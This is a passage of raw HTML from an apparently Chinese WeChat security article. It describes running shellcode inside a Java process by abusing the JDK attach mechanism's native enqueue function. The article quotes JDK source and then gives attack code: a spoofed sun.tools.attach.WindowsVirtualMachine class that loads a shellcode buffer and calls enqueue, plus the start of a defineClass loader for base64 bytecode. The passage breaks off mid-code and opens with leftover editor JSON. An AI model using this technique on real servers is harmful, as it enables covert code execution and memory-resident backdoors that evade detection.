255)&#34;},{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:26}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VTX3-1655037347949&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;h8Jl-1655037347950&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;本文提到的技术都是各位师傅已经发表过的，顶多算得上是一篇java学习笔记。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LLWw-1655037447617&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0IUV-1655037447615&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;前几个月研究rebeyond师傅的java原生函数hook时将open jdk翻了一遍，无奈没有找的其他相对好利用的native函数。前段时间看到su18师傅的线程型内存马想到是否可以组合一下，于是尝试自己改一改，好歹当作有点产出～&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZAiP-1655037606409&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IpPI-1655037606395&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;上述中若有不足或错误望师傅们点出。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vzSW-1655037683341&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yNTI-1655037683339&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JjF8-1654847857111&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;//note.youdao.com/yws/res/8/WEBRESOURCEe9859047d13467b620a0c1e72bfe8518&#34;,&#34;width&#34;:761,&#34;height&#34;:388},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/8/WEBRESOURCEe9859047d13467b620a0c1e72bfe8518&#34;,&#34;initialSize&#34;:{&#34;width&#34;:761,&#34;height&#34;:388},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LY4V-1650709661184&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OohM-1650709661182&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kHkm-1654847884665&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ayoa-1654847884660&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JjMH-1654847885734&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;//note.youdao.com/yws/res/3/WEBRESOURCE67dc09aaacfa11c1b302743ea7428093&#34;,&#34;width&#34;:761,&#34;height&#34;:352},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/3/WEBRESOURCE67dc09aaacfa11c1b302743ea7428093&#34;,&#34;initialSize&#34;:{&#34;width&#34;:761,&#34;height&#34;:352},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tCku-1654847885739&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ealN-1654847885738&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}}]" style="caret-color: rgb(0, 0, 0); color: rgb(0, 0, 0); font-style: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration: none;"><p><span style="font-size: 14px;">rebeyond师傅曾在2021年发表过一篇文章《Java内存攻击技术漫谈》，其中有提到如何进行Java的原生函数进行进程注入。</span><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;"><span style="font-size: 14px;"><span style="margin: 0px;padding: 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">参考链接：</span><a href="https://mp.weixin.qq.com/s?__biz=MzU1NzcxNjAyMQ==&amp;mid=2247484636&amp;idx=1&amp;sn=c49e90b3ff68b7811e4151ba54317190&amp;scene=21#wechat_redirect" style="margin: 0px;padding: 0px;color: rgb(87, 107, 149);text-decoration: none;caret-color: rgb(0, 0, 0);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;" data-linktype="2"><span style="margin: 0px;padding: 0px;color: rgb(0, 56, 132);">https://mp.weixin.qq.com/s/JIjBjULjFnKDjEhzVAtxhw</span></a></span></p><p><span style="font-weight: bold;font-size: 26px;">不安全的attach机制</span></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;"><span style="font-size: 14px;">在jdk8中，attach机制的实现主要来自于tools.jar包中的sun.tools.attach.VirtualMachineImpl类，在jdk8u172中如下：</span></p><p><img class="rich_pages wxw-img" data-ratio="0.9903846153846154" style="width: 489px;height: 487px;" data-type="png" data-w="832" src="https://wechat2rss.xlab.app/img-proxy/?k=2ed0a031&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7Bmkt4ZaAXMLUdgV0zB8LSNvmoeWFxKQ0ZQLkx8IunleupIZYicoZsjynCo8sXWQibHdc7QeGq3oqg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">从参考文档中可知，VituralMachine类主要使用</span><span style="font-size: 14px;color: rgb(0, 56, 132);">loadAgent</span><span style="color: rgb(71, 71, 71);background-color: rgb(255, 255, 255);font-family: SimSun, STSong;font-size: 14px;"> ， </span><span style="font-size: 14px;color: rgb(0, 56, 132);">loadAgentLibrary</span><span style="color: rgb(71, 71, 71);background-color: rgb(255, 255, 255);font-family: SimSun, STSong;font-size: 14px;"> ，</span><span style="font-size: 14px;">和</span><span style="font-size: 14px;color: rgb(0, 56, 132);">loadAgentPath</span><span style="font-size: 14px;">来加载我们的attach对象。</span></p><p><img class="rich_pages wxw-img" data-ratio="0.5335215243472125" style="width: 761px;height: 406px;" data-type="png" data-w="2834" src="https://wechat2rss.xlab.app/img-proxy/?k=5e0d0da8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7Bmkt4ZaAXMLUdgV0zB8LSnym8XsJ8OTFk0m5tSNyKDEg16UNMpG6iclBHD7UBzfiat6uVHAOMHia0g%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;color: rgb(0, 56, 132);">loadAgent</span><span style="color: rgb(71, 71, 71);background-color: rgb(255, 255, 255);font-family: SimSun, STSong;font-size: 14px;"> </span></p><p><img class="rich_pages wxw-img" data-ratio="0.36083213773314204" style="width: 761px;height: 275px;" data-type="png" data-w="2788" src="https://wechat2rss.xlab.app/img-proxy/?k=c410c9e1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7Bmkt4ZaAXMLUdgV0zB8LSQINaiarX7iaGiagU3ic94EO367TqwgbfKjcqCfJD5No2YMeNyvFnYzGiblg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(71, 71, 71);background-color: rgb(255, 255, 255);font-family: SimSun, STSong;font-size: 14px;"> </span><span style="font-size: 14px;color: rgb(0, 56, 132);">loadAgentLibrary</span><span style="color: rgb(71, 71, 71);background-color: rgb(255, 255, 255);font-family: SimSun, STSong;font-size: 14px;"> </span></p><p><img class="rich_pages wxw-img" data-ratio="0.4465454545454545" style="width: 761px;height: 340px;" data-type="png" data-w="2750" src="https://wechat2rss.xlab.app/img-proxy/?k=cc8f60d4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7Bmkt4ZaAXMLUdgV0zB8LS3PJLcic457LOj9HibBCWtvQeL4qYicxF8c58mzVT7sZsBEjWWhicbjQAWA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;color: rgb(0, 56, 132);">loadAgentPath</span></p><p><img class="rich_pages wxw-img" data-ratio="0.4419610670511896" style="width: 761px;height: 336px;" data-type="png" data-w="2774" src="https://wechat2rss.xlab.app/img-proxy/?k=caf18c0a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7Bmkt4ZaAXMLUdgV0zB8LSDcUvV3voX2TuDicbOdia4AMghwiaaiajbPoC7xU0u51OhA91MzcJSV600A%2F640%3Fwx_fmt%3Dpng"/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;"><span style="font-size: 14px;">HotSpotVirtualMachine中有loadAgentLibrary的具体实现：</span></p><p><img class="rich_pages wxw-img" data-ratio="0.5351257588898526" style="width: 761px;height: 407px;" data-type="png" data-w="2306" src="https://wechat2rss.xlab.app/img-proxy/?k=c911a6bf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7Bmkt4ZaAXMLUdgV0zB8LSIPQtlXsxdYB4yFJHaj6oYL80tibgEDiahD2wcnTIh2kSMcYuf93iagg0w%2F640%3Fwx_fmt%3Dpng"/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer">private void loadAgentLibrary(String agentLibrary, boolean isAbsolute, String options) throws AgentLoadException, AgentInitializationException, IOException {</span></code><code><span class="code-snippet_outer">    InputStream in = this.execute(&#34;load&#34;, agentLibrary, isAbsolute ? &#34;true&#34; : &#34;false&#34;, options);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    try {</span></code><code><span class="code-snippet_outer">        int result = this.readInt(in);</span></code><code><span class="code-snippet_outer">        if (result != 0) {</span></code><code><span class="code-snippet_outer">            throw new AgentInitializationException(&#34;Agent_OnAttach failed&#34;, result);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    } finally {</span></code><code><span class="code-snippet_outer">        in.close();</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;"><span style="font-size: 14px;">跟进这个execute方法：</span></p><p><img class="rich_pages wxw-img" data-ratio="0.5424710424710425" style="width: 761px;height: 413px;" data-type="png" data-w="2072" src="https://wechat2rss.xlab.app/img-proxy/?k=55d37710&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7Bmkt4ZaAXMLUdgV0zB8LSCovRiaZSNct53qRz0sn1JAGIsoARR4WDcqf693kUicTz6tUaHycJSZBA%2F640%3Fwx_fmt%3Dpng"/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;"><span style="font-size: 14px;">先创建一个pipe然后获取pid，当pid不等于-1时继续交给enqueue方法处理：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer">InputStream execute(String cmd, Object... args) throws AgentLoadException, IOException {</span></code><code><span class="code-snippet_outer">    assert args.length &lt;= 3;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    int r = (new Random()).nextInt();</span></code><code><span class="code-snippet_outer">    String pipename = &#34;\\\\.\\pipe\\javatool&#34; + r;</span></code><code><span class="code-snippet_outer">    long hPipe = createPipe(pipename);</span></code><code><span class="code-snippet_outer">    if (this.hProcess == -1L) {</span></code><code><span class="code-snippet_outer">        closePipe(hPipe);</span></code><code><span class="code-snippet_outer">        throw new IOException(&#34;Detached from target VM&#34;);</span></code><code><span class="code-snippet_outer">    } else {</span></code><code><span class="code-snippet_outer">        try {</span></code><code><span class="code-snippet_outer">            enqueue(this.hProcess, stub, cmd, pipename, args);</span></code><code><span class="code-snippet_outer">            connectPipe(hPipe);</span></code><code><span class="code-snippet_outer">            WindowsVirtualMachine.PipedInputStream is = new WindowsVirtualMachine.PipedInputStream(hPipe);</span></code><code><span class="code-snippet_outer">            int status = this.readInt(is);</span></code><code><span class="code-snippet_outer">            if (status != 0) {</span></code><code><span class="code-snippet_outer">                String message = this.readErrorMessage(is);</span></code><code><span class="code-snippet_outer">                if (cmd.equals(&#34;load&#34;)) {</span></code><code><span class="code-snippet_outer">                    throw new AgentLoadException(&#34;Failed to load agent library&#34;);</span></code><code><span class="code-snippet_outer">                } else if (message == null) {</span></code><code><span class="code-snippet_outer">                    throw new AttachOperationFailedException(&#34;Command failed in target VM&#34;);</span></code><code><span class="code-snippet_outer">                } else {</span></code><code><span class="code-snippet_outer">                    throw new AttachOperationFailedException(message);</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">            } else {</span></code><code><span class="code-snippet_outer">                return is;</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        } catch (IOException var10) {</span></code><code><span class="code-snippet_outer">            closePipe(hPipe);</span></code><code><span class="code-snippet_outer">            throw var10;</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p><span style="font-size: 14px;">enqueue为native方法</span>：</p><p><img class="rich_pages wxw-img" data-ratio="0.5270935960591133" style="width: 761px;height: 401px;" data-type="png" data-w="2030" src="https://wechat2rss.xlab.app/img-proxy/?k=bc158c96&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7Bmkt4ZaAXMLUdgV0zB8LS0X02ySWSscuKxCqWDns5XgkNNwvvohgN8cPjXQ2cvbfwB2oFoxRSzg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">其具体实现方法在WindowsVirtualMachine.c中：</span></p><p><img class="rich_pages wxw-img" data-ratio="0.5919003115264797" style="width: 761px;height: 450px;" data-type="png" data-w="1284" src="https://wechat2rss.xlab.app/img-proxy/?k=a7af89df&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7Bmkt4ZaAXMLUdgV0zB8LSXsB8X8IYicnicfTfV5ZXaOjsStumE9BojEKXYbxN1VVicSPRbdjUwrXYw%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages wxw-img" data-ratio="0.9086538461538461" style="width: 761px;height: 691px;" data-type="png" data-w="1664" src="https://wechat2rss.xlab.app/img-proxy/?k=d641c798&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7Bmkt4ZaAXMLUdgV0zB8LSZibrKjy4end70ISbNORUib4ZYbUTwv6MQsyyGUfV7XicWxPMBibYBh0d9A%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">enqueue方法会根据我们传入的stub对象在jvm中开辟内存空间并写入，最后创建</span><span style="color: rgb(63, 63, 63);background-color: rgb(255, 255, 255);font-family: &#34;Times New Roman&#34;;font-size: 14px;">stub</span><span style="font-size: 14px;">线程执行。</span></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;"><span style="font-size: 14px;">与我们在进程中开辟内存空间并执行shellcode的方法如出一辙。</span></p><p><img class="rich_pages wxw-img" data-ratio="0.846958174904943" style="width: 761px;height: 645px;" data-type="png" data-w="2104" src="https://wechat2rss.xlab.app/img-proxy/?k=123bbfde&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7Bmkt4ZaAXMLUdgV0zB8LS54ZqmnRTmI5sMsfCKtkSZARBdogCWwQfrwmoh2xEZucvBKBqxcZCEw%2F640%3Fwx_fmt%3Dpng"/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;"><span style="font-size: 14px;">可是我们要如何调用native方法呢？</span></p><p><span style="font-weight: bold;font-size: 26px;">自定义类调用系统Native库函数</span></p><p><span style="font-size: 14px;">引用rebeyond师傅的一句话：</span></p><blockquote class="js_blockquote_wrap" data-type="1" data-url="https://mp.weixin.qq.com/s/JIjBjULjFnKDjEhzVAtxhw" data-author-name="rebeyond" data-content-utf8-length="299" data-source-title="Java内存攻击技术漫谈"><section class="js_blockquote_digest"><section>我们都知道classLoader在loadClass的时候采用双亲委托机制，也就是如果系统中已经存在一个类，即使我们用自定义的classLoader去loadClass，也会返回系统内置的那个类。但是如果我们绕过loadClass，直接去defineClass即可从我们指定的字节码数组里创建类，而且类名可以任意自定义，重写java.lang.String都没问题。然后再用defineClass返回的Class去实例化，然后再调用我们想调用的Native函数即可。因为Native函数在调用的时候只检测发起调用的类限定名，并不检测发起调用类的ClassLoader，这是我们这个方法能成功的原因。</section></section><section class="blockquote_info js_blockquote_source" data-json="%7B%22type%22%3A%22inner%22%2C%22source%22%3A%22url%22%2C%22digest%22%3A%22%22%2C%22digestLen%22%3A299%2C%22text%22%3A%22%E6%88%91%E4%BB%AC%E9%83%BD%E7%9F%A5%E9%81%93classLoader%E5%9C%A8loadClass%E7%9A%84%E6%97%B6%E5%80%99%E9%87%87%E7%94%A8%E5%8F%8C%E4%BA%B2%E5%A7%94%E6%89%98%E6%9C%BA%E5%88%B6%EF%BC%8C%E4%B9%9F%E5%B0%B1%E6%98%AF%E5%A6%82%E6%9E%9C%E7%B3%BB%E7%BB%9F%E4%B8%AD%E5%B7%B2%E7%BB%8F%E5%AD%98%E5%9C%A8%E4%B8%80%E4%B8%AA%E7%B1%BB%EF%BC%8C%E5%8D%B3%E4%BD%BF%E6%88%91%E4%BB%AC%E7%94%A8%E8%87%AA%E5%AE%9A%E4%B9%89%E7%9A%84classLoader%E5%8E%BBloadClass%EF%BC%8C%E4%B9%9F%E4%BC%9A%E8%BF%94%E5%9B%9E%E7%B3%BB%E7%BB%9F%E5%86%85%E7%BD%AE%E7%9A%84%E9%82%A3%E4%B8%AA%E7%B1%BB%E3%80%82%E4%BD%86%E6%98%AF%E5%A6%82%E6%9E%9C%E6%88%91%E4%BB%AC%E7%BB%95%E8%BF%87loadClass%EF%BC%8C%E7%9B%B4%E6%8E%A5%E5%8E%BBdefineClass%E5%8D%B3%E5%8F%AF%E4%BB%8E%E6%88%91%E4%BB%AC%E6%8C%87%E5%AE%9A%E7%9A%84%E5%AD%97%E8%8A%82%E7%A0%81%E6%95%B0%E7%BB%84%E9%87%8C%E5%88%9B%E5%BB%BA%E7%B1%BB%EF%BC%8C%E8%80%8C%E4%B8%94%E7%B1%BB%E5%90%8D%E5%8F%AF%E4%BB%A5%E4%BB%BB%E6%84%8F%E8%87%AA%E5%AE%9A%E4%B9%89%EF%BC%8C%E9%87%8D%E5%86%99java.lang.String%E9%83%BD%E6%B2%A1%E9%97%AE%E9%A2%98%E3%80%82%E7%84%B6%E5%90%8E%E5%86%8D%E7%94%A8defineClass%E8%BF%94%E5%9B%9E%E7%9A%84Class%E5%8E%BB%E5%AE%9E%E4%BE%8B%E5%8C%96%EF%BC%8C%E7%84%B6%E5%90%8E%E5%86%8D%E8%B0%83%E7%94%A8%E6%88%91%E4%BB%AC%E6%83%B3%E8%B0%83%E7%94%A8%E7%9A%84Native%E5%87%BD%E6%95%B0%E5%8D%B3%E5%8F%AF%E3%80%82%E5%9B%A0%E4%B8%BANative%E5%87%BD%E6%95%B0%E5%9C%A8%E8%B0%83%E7%94%A8%E7%9A%84%E6%97%B6%E5%80%99%E5%8F%AA%E6%A3%80%E6%B5%8B%E5%8F%91%E8%B5%B7%E8%B0%83%E7%94%A8%E7%9A%84%E7%B1%BB%E9%99%90%E5%AE%9A%E5%90%8D%EF%BC%8C%E5%B9%B6%E4%B8%8D%E6%A3%80%E6%B5%8B%E5%8F%91%E8%B5%B7%E8%B0%83%E7%94%A8%E7%B1%BB%E7%9A%84ClassLoader%EF%BC%8C%E8%BF%99%E6%98%AF%E6%88%91%E4%BB%AC%E8%BF%99%E4%B8%AA%E6%96%B9%E6%B3%95%E8%83%BD%E6%88%90%E5%8A%9F%E7%9A%84%E5%8E%9F%E5%9B%A0%E3%80%82%22%2C%22article%22%3A%7B%22title%22%3A%22Java%E5%86%85%E5%AD%98%E6%94%BB%E5%87%BB%E6%8A%80%E6%9C%AF%E6%BC%AB%E8%B0%88%22%2C%22url%22%3A%22https%3A%2F%2Fmp.weixin.qq.com%2Fs%2FJIjBjULjFnKDjEhzVAtxhw%22%2C%22nickname%22%3A%22SilverNeedleLab%22%2C%22authorName%22%3A%22rebeyond%22%7D%2C%22hasReportOverSize%22%3Atrue%2C%22editorReportData%22%3A%5B%5D%7D"><span class="blockquote_biz">rebeyond，公众号：SilverNeedleLab<a href="https://mp.weixin.qq.com/s/JIjBjULjFnKDjEhzVAtxhw" class="blockquote_article">Java内存攻击技术漫谈</a></span></section></blockquote><p><span style="background-color: rgb(255, 255, 255);font-size: 14px;">其中最重要的一句话我觉得是这句：</span></p><p><span style="color: rgb(63, 63, 63);background-color: rgb(255, 255, 255);font-family: &#34;Times New Roman&#34;;font-size: 14px;">因为Native函数在调用的时候只检测发起调用的类限定名，并不检测发起调用类的ClassLoader。</span></p><p><span style="background-color: rgb(255, 255, 255);font-size: 14px;">只要我们能够找到调用该native方法的某个类限定名，并自定义一个相同类名的类使用defineClass实例化便可以调用任意native方法。</span></p><p><span style="background-color: rgb(255, 255, 255);font-size: 14px;">经过调试发现此方法还需要满足：包名不能以java.xxx开头，否则将会报错（具体可看defineClass0等实现方法）。</span></p><p><span style="background-color: rgb(255, 255, 255);font-weight: bold;font-size: 22px;">1.自定义</span><span style="font-weight: bold;font-size: 22px;">WindowsVirtualMachine.class</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span class="code-snippet_outer">package sun.tools.attach;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">import java.io.IOException;</span></code><code><span class="code-snippet_outer">import java.util.Scanner;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">public class WindowsVirtualMachine {</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    static byte buf[] = new byte[] {&#34;shellcode here&#34;};</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    static native void enqueue(long hProcess, byte[] stub,</span></code><code><span class="code-snippet_outer">                               String cmd, String pipename, Object... args) throws IOException;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    static native long openProcess(int pid) throws IOException;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    public static void run() {</span></code><code><span class="code-snippet_outer">        System.loadLibrary(&#34;attach&#34;);</span></code><code><span class="code-snippet_outer">        try {</span></code><code><span class="code-snippet_outer">            enqueue(-1, buf, &#34;load&#34;, &#34;test&#34;, new Object[]{});</span></code><code><span class="code-snippet_outer">        } catch (Exception e) {</span></code><code><span class="code-snippet_outer">            e.printStackTrace();</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p><span style="background-color: rgb(255, 255, 255);font-weight: bold;font-size: 22px;">2.编译并转为base64编码执行</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">package</span> com.example.java_injection;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.lang.reflect.Method;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.util.Base64;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">shellcode</span> </span>{</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">Myloader</span> <span class="code-snippet__keyword">extends</span> <span class="code-snippet__title">ClassLoader</span> </span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> Class <span class="code-snippet__title">get</span><span class="code-snippet__params">(<span class="code-snippet__keyword">byte</span>[] b)</span> </span>{</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">super</span>.defineClass(b, <span class="code-snippet__number">0</span>, b.length);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span 